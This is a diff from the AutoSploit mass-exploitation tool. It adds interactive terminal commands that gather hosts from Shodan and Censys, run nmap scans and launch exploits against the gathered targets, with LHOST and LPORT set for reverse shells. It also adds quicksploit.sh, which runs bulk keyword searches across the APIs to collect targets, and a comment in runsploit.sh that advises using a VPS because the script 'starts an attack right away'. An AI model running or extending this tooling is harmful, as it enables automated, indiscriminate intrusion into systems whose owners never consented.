len(sims) != 0: + max_sims_display = 7 + print( + "no command '{}' found, but there {} {} similar command{}".format( + choice, + "are" if len(sims) > 1 else "is", + len(sims), + "s" if len(sims) > 1 else "" + ) + ) + if len(sims) > max_sims_display: + print("will only display top {} results".format(max_sims_display)) + for i, cmd in enumerate(sims, start=1): + if i == max_sims_display: + break + print(cmd) + print("{}: command not found".format(choice)) + else: + print("{} command not found".format(choice)) + self.history.append(choice) + elif choice_type == "external": + self.do_terminal_command(choice) + self.history.append(choice) else: - lib.output.warning("invalid option provided") - except ValueError: - if not choice == "help": - if "help" in choice: + try: + choice_data_list = choice.split(" ") + if choice_data_list[-1] == "": + choice_data_list = None + except: + choice_data_list = None + if choice == "?" or choice == "help": + self.do_display_usage() + elif any(c in choice for c in ("external",)): + self.do_display_external() + elif any(c in choice for c in ("history", "mem", "memory")): + self.do_display_history() + elif any(c in choice for c in ("exit", "quit")): + self.do_quit_terminal(save_history=save_history) + elif any(c in choice for c in ("view", "show")): + self.do_view_gathered() + elif any(c in choice for c in ("version",)): + self.do_show_version_number() + elif any(c in choice for c in ("clean", "clear")): + self.do_clean_hosts() + elif "single" in choice: try: - help_arg = choice.split(" ") - self.help(help_arg[-1]) - except: - lib.output.error("choice must be integer not string") - else: - lib.output.warning("option must be integer not string") - elif choice == "help": - lib.output.error("must provide an argument for help IE 'help exploit'") + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass + if choice_data_list is None or len(choice_data_list) == 1: + lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") + else: + self.do_add_single_host(choice_data_list[-1]) + elif any(c in choice for c in ("exploit", "run", "attack")): + try: + if "help" in choice_data_list: + print(self.do_exploit_targets.__doc__) + except TypeError: + pass + if choice_data_list is None or len(choice_data_list) < 4: + lib.output.error( + "must provide at least LHOST, LPORT, workspace name with `{}` keyword " + "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() + ) + ) + else: + if lib.settings.validate_ip_addr(choice_data_list[1], home_ok=True): + try: + workspace = ( + choice_data_list[1], choice_data_list[2], + choice_data_list[3], choice_data_list[4], + True if "honeycheck" in choice_data_list else False + ) + except IndexError: + workspace = ( + choice_data_list[1], choice_data_list[2], + choice_data_list[3], None, + True if "honeycheck" in choice_data_list else False + ) + if workspace[-1]: + honeyscore = None + while honeyscore is None: + honeyscore = lib.output.prompt( + "enter the honeyscore you want as the maximum allowed" + ) + try: + honeyscore = float(honeyscore) + except: + honeyscore = None + lib.output.error("honey score must be a float (IE 0.3)") + self.do_exploit_targets( + workspace, shodan_token=self.tokens["shodan"][0] + ) + else: + lib.output.warning( + "heuristics could not validate provided IP address, " + "did you type it right?" + ) + elif any(c in choice for c in ("personal", "custom")): + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass + if choice_data_list is not None and len(choice_data_list) == 1: + lib.output.error("must provide full path to file after `{}` keyword".format(choice)) + else: + self.do_load_custom_hosts(choice_data_list[-1]) + elif any(c in choice for c in ("search", "api", "gather")): + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass + if choice_data_list is None or len(choice_data_list) < 3: + lib.output.error( + "must provide a list of API names after `{}` keyword and query " + "(IE {} shodan,censys apache2)".format( + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() + ) + ) + else: + self.do_api_search(choice_data_list[1], choice_data_list[2:], tokens) + elif any(c in choice for c in ("idkwhatimdoing", "ethics", "skid")): + import random + + if choice == "ethics" or choice == "idkwhatimdoing": + ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) + other_file = "{}/etc/text_files/gen".format(os.getcwd()) + with open(ethics_file) as ethics: + ethic = random.choice(ethics.readlines()).strip() + lib.output.info("take this ethical lesson into consideration before proceeding:") + print("\n{}\n".format(ethic)) + lib.output.warning(open(other_file).read()) + else: + lib.output.warning("hack to learn, don't learn to hack") + elif any(c in choice for c in ("tokens", "reset")): + acceptable_api_names = ("shodan", "censys") + + try: + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) + except TypeError: + pass + + if choice_data_list is None or len(choice_data_list) < 3: + lib.output.error( + "must supply API name with `{}` keyword along with " + "new token (IE {} shodan mytoken123 [userID (censys)])".format( + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() + ) + ) + else: + if choice_data_list[1].lower() in acceptable_api_names: + try: + api, token, username = choice_data_list[1], choice_data_list[2], choice_data_list[3] + except IndexError: + api, token, username = choice_data_list[1], choice_data_list[2], None + self.do_token_reset(api, token, username) + else: + lib.output.error("cannot reset {} API credentials".format(choice)) + elif any(c in choice for c in ["nmap", "mapper", "mappy"]): + try: + if "help" in choice_data_list: + print(self.do_nmap_scan.__doc__) + except TypeError: + pass + target = choice_data_list[1] + try: + arguments = choice_data_list[2] + lib.output.warning( + "arguments that have a space in them most likely will not be processed correctly, " + "(IE --dns-servers 1.1.1.1 will most likely cause issues)" + ) + except IndexError: + arguments = None + # don't know how im going to implement ports yet + # try: + # ports = choice_data_list[3] + # except IndexError: + # ports = None + if "help" not in choice_data_list: + self.do_nmap_scan(target, arguments) + self.history.append(choice) + self.__reload() + except KeyboardInterrupt: + lib.output.warning("use the `exit/quit` command to end terminal session") + except IndexError: + pass + except Exception as e: + global stop_animation - except KeyboardInterrupt: - print("\n") - self.terminal_main_display(loaded_mods) + stop_animation = True + + import sys + import traceback + import lib.creation.issue_creator + + print( + "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " + "in order for the developers to troubleshoot and repair the " + "issue AutoSploit will need to gather your OS information, " + "current arguments, the error message, and a traceback. " + "None of this information can be used to identify you in any way\033[0m".format(str(e)) + ) + error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) + error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") + error_file = lib.settings.save_error_to_file(str(error_traceback), str(e), error_class) + lib.creation.issue_creator.request_issue_creation(error_file, lib.creation.issue_creator.hide_sensitive(), str(e)) + lib.output.info("continuing terminal session") + # this way if you're in the terminal already we won't quit out of it + continue diff --git a/quicksploit.sh b/quicksploit.sh new file mode 100755 index 0000000..ecad084 --- /dev/null +++ b/quicksploit.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +# +# this script quickly runs a query list of search keywords provided from a file on ALL of the +# available APIs. (Censys, Zoomeye, and Shodan) from there it will save all of them to the hosts.txt +# file and you can do as you will with that +# + +function doQuick() { + for item in $(cat $1); do python autosploit.py -A -a -f etc/json/default_modules.json -q $item; done +} + +function helpPage() { + echo "./quicksploit.sh FILENAME"; + exit 1; +} + +function main() { + if [[ $EUID -ne 0 ]]; then + echo "[!] must run script as root!"; + exit 1; + elif [[ ! -f $1 ]]; then + helpPage; + else + echo "[+] starting quicksploit searching!"; + doQuick $1; + fi +} + +main $@; \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index c9675f1..cf0f582 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ -requests==2.18.4 -psutil==5.3.0 +requests==2.20.0 +psutil==5.6.6 +beautifulsoup4==4.6.3 diff --git a/run_autosploit.sh b/runsploit.sh similarity index 72% rename from run_autosploit.sh rename to runsploit.sh index 9dfcdaf..df4c026 100755 --- a/run_autosploit.sh +++ b/runsploit.sh @@ -1,9 +1,15 @@ #!/bin/bash +# +# this script runs autosploit with default configs and default modules +# protip be on a VPS when you run this because it's gonna start an attack +# right away +# + if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./run_autosploit.sh PORT [WHITELIST]" + echo -e "\t./runsploit.sh PORT [WHITELIST]" exit 1 fi